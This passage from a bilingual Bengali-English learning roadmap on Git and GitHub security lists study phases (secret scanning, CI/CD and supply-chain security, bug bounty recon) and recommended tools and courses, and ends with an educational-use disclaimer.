Git কীভাবে কাজ করে, কী কী ভুল হয় — এটা জানা না থাকলে বাকিটা বোঝা যাবে না।Without knowing how Git works and what mistakes happen, the rest won't make sense.
Git internals Common mistakes .gitignore setup GitHub basics
2
🔍 Phase 2 — Secret ScanningPhase 2 — Secret Scanning 1-2 সপ্তাহ
TruffleHog, Gitleaks শেখো এবং নিজের project-এ apply করো।Learn TruffleHog and Gitleaks and apply them to your own projects.
TruffleHog Gitleaks pre-commit hooks GitHub Dorking
3
⚙️ Phase 3 — CI/CD SecurityPhase 3 — CI/CD Security 2-3 সপ্তাহ
GitHub Actions secure করো, supply chain বোঝো।Secure GitHub Actions and understand the supply chain.
Actions security OIDC setup Supply chain Dependabot
4
🏆 Phase 4 — Advanced & Bug BountyPhase 4 — Advanced & Bug Bounty চলমানOngoing
Real repo-তে secret খোঁজো, Bug Bounty program-এ report করো।Find secrets in real repos and report to Bug Bounty programs.
GitHub Recon Org enumeration Bug Bounty report CodeQL queries

📚 সেরা ResourcesBest Resources

ResourceধরনTypeবিষয়Topic
TruffleHogToolসেরা secret scannerBest secret scanner
GitleaksToolFast, CI/CD-এ ব্যবহার করোFast, use in CI/CD
GitGuardianSaaSReal-time monitoringReal-time monitoring
GitHub Secret ScanningBuilt-inFree for public reposFree for public repos
BFG Repo CleanerToolHistory cleanupHistory cleanup
PortSwigger Web AcademyCourseSupply chain labs
OWASP Top 10 CI/CDStandardCI/CD security risks
GitHub Docs — SecurityDocsOfficial best practicesOfficial best practices

🔐 "Git history never forgets — but attackers never forget either."

এই ডকুমেন্ট সম্পূর্ণ শিক্ষামূলক উদ্দেশ্যে। নিজের ও authorized environment-এ practice করো। This document is entirely for educational purposes. Practice on your own and authorized environments.

v1.0 — Git & GitHub Security | Secret Scanning · Supply Chain · CI/CD | Bilingual | Dark/Light Mode